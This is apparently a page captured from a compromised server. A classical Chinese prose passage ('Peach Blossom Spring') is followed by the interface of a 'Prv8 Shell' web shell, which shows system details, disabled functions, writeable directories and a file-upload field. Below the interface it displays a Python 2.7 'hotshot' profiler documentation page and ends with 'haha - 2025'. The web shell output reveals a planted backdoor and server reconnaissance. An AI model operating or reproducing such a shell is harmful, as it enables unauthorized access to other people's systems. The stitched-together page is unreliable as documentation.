晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/library/hotshot.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>26.5. hotshot — High performance logging profiler &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="26.6. timeit — Measure execution time of small code snippets" href="timeit.html" />
    <link rel="prev" title="26.4. The Python Profilers" href="profile.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/hotshot.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="timeit.html" title="26.6. timeit — Measure execution time of small code snippets"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="profile.html" title="26.4. The Python Profilers"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="debug.html" accesskey="U">26. Debugging and Profiling</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-hotshot">
<span id="hotshot-high-performance-logging-profiler"></span><h1>26.5. <a class="reference internal" href="#module-hotshot" title="hotshot: High performance logging profiler, mostly written in C."><code class="xref py py-mod docutils literal notranslate"><span class="pre">hotshot</span></code></a> — High performance logging profiler<a class="headerlink" href="#module-hotshot" title="Permalink to this headline">¶</a></h1>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.2.</span></p>
</div>
<p>This module provides a nicer interface to the <code class="xref py py-mod docutils literal notranslate"><span class="pre">_hotshot</span></code> C module. Hotshot
is a replacement for the existing <a class="reference internal" href="profile.html#module-profile" title="profile: Python source profiler."><code class="xref py py-mod docutils literal notranslate"><span class="pre">profile</span></code></a> module. As it’s written mostly
in C, it should result in a much smaller performance impact than the existing
<a class="reference internal" href="profile.html#module-profile" title="profile: Python source profiler."><code class="xref py py-mod docutils literal notranslate"><span class="pre">profile</span></code></a> module.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">The <a class="reference internal" href="#module-hotshot" title="hotshot: High performance logging profiler, mostly written in C."><code class="xref py py-mod docutils literal notranslate"><span class="pre">hotshot</span></code></a> module focuses on minimizing the overhead while profiling, at
the expense of long data post-processing times. For common usage it is
recommended to use <a class="reference internal" href="profile.html#module-cProfile" title="cProfile"><code class="xref py py-mod docutils literal notranslate"><span class="pre">cProfile</span></code></a> instead. <a class="reference internal" href="#module-hotshot" title="hotshot: High performance logging profiler, mostly written in C."><code class="xref py py-mod docutils literal notranslate"><span class="pre">hotshot</span></code></a> is not maintained and
might be removed from the standard library in the future.</p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>The results should be more meaningful than in the past: the timing core
contained a critical bug.</p>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">The <a class="reference internal" href="#module-hotshot" title="hotshot: High performance logging profiler, mostly written in C."><code class="xref py py-mod docutils literal notranslate"><span class="pre">hotshot</span></code></a> profiler does not yet work well with threads. It is useful to
use an unthreaded script to run the profiler over the code you’re interested in
measuring if at all possible.</p>
</div>
<dl class="class">
<dt id="hotshot.Profile">
<em class="property">class </em><code class="descclassname">hotshot.</code><code class="descname">Profile</code><span class="sig-paren">(</span><em>logfile</em><span class="optional">[</span>, <em>lineevents</em><span class="optional">[</span>, <em>linetimings</em><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile" title="Permalink to this definition">¶</a></dt>
<dd><p>The profiler object. The argument <em>logfile</em> is the name of a log file to use for
logged profile data. The argument <em>lineevents</em> specifies whether to generate
events for every source line, or just on function call/return. It defaults to
<code class="docutils literal notranslate"><span class="pre">0</span></code> (only log function call/return). The argument <em>linetimings</em> specifies
whether to record timing information. It defaults to <code class="docutils literal notranslate"><span class="pre">1</span></code> (store timing
information).</p>
</dd></dl>

<div class="section" id="profile-objects">
<span id="hotshot-objects"></span><h2>26.5.1. Profile Objects<a class="headerlink" href="#profile-objects" title="Permalink to this headline">¶</a></h2>
<p>Profile objects have the following methods:</p>
<dl class="method">
<dt id="hotshot.Profile.addinfo">
<code class="descclassname">Profile.</code><code class="descname">addinfo</code><span class="sig-paren">(</span><em>key</em>, <em>value</em><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.addinfo" title="Permalink to this definition">¶</a></dt>
<dd><p>Add an arbitrary labelled value to the profile output.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.close">
<code class="descclassname">Profile.</code><code class="descname">close</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.close" title="Permalink to this definition">¶</a></dt>
<dd><p>Close the logfile and terminate the profiler.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.fileno">
<code class="descclassname">Profile.</code><code class="descname">fileno</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.fileno" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the file descriptor of the profiler’s log file.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.run">
<code class="descclassname">Profile.</code><code class="descname">run</code><span class="sig-paren">(</span><em>cmd</em><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.run" title="Permalink to this definition">¶</a></dt>
<dd><p>Profile an <a class="reference internal" href="../reference/simple_stmts.html#exec"><code class="xref std std-keyword docutils literal notranslate"><span class="pre">exec</span></code></a>-compatible string in the script environment. The
globals from the <a class="reference internal" href="__main__.html#module-__main__" title="__main__: The environment where the top-level script is run."><code class="xref py py-mod docutils literal notranslate"><span class="pre">__main__</span></code></a> module are used as both the globals and locals
for the script.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.runcall">
<code class="descclassname">Profile.</code><code class="descname">runcall</code><span class="sig-paren">(</span><em>func</em>, <em>*args</em>, <em>**keywords</em><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.runcall" title="Permalink to this definition">¶</a></dt>
<dd><p>Profile a single call of a callable. Additional positional and keyword arguments
may be passed along; the result of the call is returned, and exceptions are
allowed to propagate cleanly, while ensuring that profiling is disabled on the
way out.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.runctx">
<code class="descclassname">Profile.</code><code class="descname">runctx</code><span class="sig-paren">(</span><em>cmd</em>, <em>globals</em>, <em>locals</em><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.runctx" title="Permalink to this definition">¶</a></dt>
<dd><p>Evaluate an <a class="reference internal" href="../reference/simple_stmts.html#exec"><code class="xref std std-keyword docutils literal notranslate"><span class="pre">exec</span></code></a>-compatible string in a specific environment. The
string is compiled before profiling begins.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.start">
<code class="descclassname">Profile.</code><code class="descname">start</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.start" title="Permalink to this definition">¶</a></dt>
<dd><p>Start the profiler.</p>
</dd></dl>

<dl class="method">
<dt id="hotshot.Profile.stop">
<code class="descclassname">Profile.</code><code class="descname">stop</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.Profile.stop" title="Permalink to this definition">¶</a></dt>
<dd><p>Stop the profiler.</p>
</dd></dl>

</div>
<div class="section" id="module-hotshot.stats">
<span id="using-hotshot-data"></span><h2>26.5.2. Using hotshot data<a class="headerlink" href="#module-hotshot.stats" title="Permalink to this headline">¶</a></h2>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.2.</span></p>
</div>
<p>This module loads hotshot profiling data into the standard <a class="reference internal" href="profile.html#module-pstats" title="pstats: Statistics object for use with the profiler."><code class="xref py py-mod docutils literal notranslate"><span class="pre">pstats</span></code></a> Stats
objects.</p>
<dl class="function">
<dt id="hotshot.stats.load">
<code class="descclassname">hotshot.stats.</code><code class="descname">load</code><span class="sig-paren">(</span><em>filename</em><span class="sig-paren">)</span><a class="headerlink" href="#hotshot.stats.load" title="Permalink to this definition">¶</a></dt>
<dd><p>Load hotshot data from <em>filename</em>. Returns an instance of the
<a class="reference internal" href="profile.html#pstats.Stats" title="pstats.Stats"><code class="xref py py-class docutils literal notranslate"><span class="pre">pstats.Stats</span></code></a> class.</p>
</dd></dl>

<div class="admonition seealso">
<p class="first admonition-title">See also</p>
<dl class="last docutils">
<dt>Module <a class="reference internal" href="profile.html#module-profile" title="profile: Python source profiler."><code class="xref py py-mod docutils literal notranslate"><span class="pre">profile</span></code></a></dt>
<dd>The <a class="reference internal" href="profile.html#module-profile" title="profile: Python source profiler."><code class="xref py py-mod docutils literal notranslate"><span class="pre">profile</span></code></a> module’s <code class="xref py py-class docutils literal notranslate"><span class="pre">Stats</span></code> class</dd>
</dl>
</div>
</div>
<div class="section" id="example-usage">
<span id="hotshot-example"></span><h2>26.5.3. Example Usage<a class="headerlink" href="#example-usage" title="Permalink to this headline">¶</a></h2>
<p>Note that this example runs the Python “benchmark” pystones.  It can take some
time to run, and will produce large output files.</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">&gt;&gt;&gt; </span><span class="kn">import</span> <span class="nn">hotshot</span><span class="o">,</span> <span class="nn">hotshot.stats</span><span class="o">,</span> <span class="nn">test.pystone</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">prof</span> <span class="o">=</span> <span class="n">hotshot</span><span class="o">.</span><span class="n">Profile</span><span class="p">(</span><span class="s2">&quot;stones.prof&quot;</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">benchtime</span><span class="p">,</span> <span class="n">stones</span> <span class="o">=</span> <span class="n">prof</span><span class="o">.</span><span class="n">runcall</span><span class="p">(</span><span class="n">test</span><span class="o">.</span><span class="n">pystone</span><span class="o">.</span><span class="n">pystones</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">prof</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">stats</span> <span class="o">=</span> <span class="n">hotshot</span><span class="o">.</span><span class="n">stats</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="s2">&quot;stones.prof&quot;</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">stats</span><span class="o">.</span><span class="n">strip_dirs</span><span class="p">()</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">stats</span><span class="o">.</span><span class="n">sort_stats</span><span class="p">(</span><span class="s1">&#39;time&#39;</span><span class="p">,</span> <span class="s1">&#39;calls&#39;</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">stats</span><span class="o">.</span><span class="n">print_stats</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
<span class="go">         850004 function calls in 10.090 CPU seconds</span>

<span class="go">   Ordered by: internal time, call count</span>

<span class="go">   ncalls  tottime  percall  cumtime  percall filename:lineno(function)</span>
<span class="go">        1    3.295    3.295   10.090   10.090 pystone.py:79(Proc0)</span>
<span class="go">   150000    1.315    0.000    1.315    0.000 pystone.py:203(Proc7)</span>
<span class="go">    50000    1.313    0.000    1.463    0.000 pystone.py:229(Func2)</span>
<span class="go"> .</span>
<span class="go"> .</span>
<span class="go"> .</span>
</pre></div>
</div>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">26.5. <code class="docutils literal notranslate"><span class="pre">hotshot</span></code> — High performance logging profiler</a><ul>
<li><a class="reference internal" href="#profile-objects">26.5.1. Profile Objects</a></li>
<li><a class="reference internal" href="#module-hotshot.stats">26.5.2. Using hotshot data</a></li>
<li><a class="reference internal" href="#example-usage">26.5.3. Example Usage</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="profile.html"
                        title="previous chapter">26.4. The Python Profilers</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="timeit.html"
                        title="next chapter">26.6. <code class="docutils literal notranslate"><span class="pre">timeit</span></code> — Measure execution time of small code snippets</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/hotshot.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="timeit.html" title="26.6. timeit — Measure execution time of small code snippets"
             >next</a> |</li>
        <li class="right" >
          <a href="profile.html" title="26.4. The Python Profilers"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="debug.html" >26. Debugging and Profiling</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025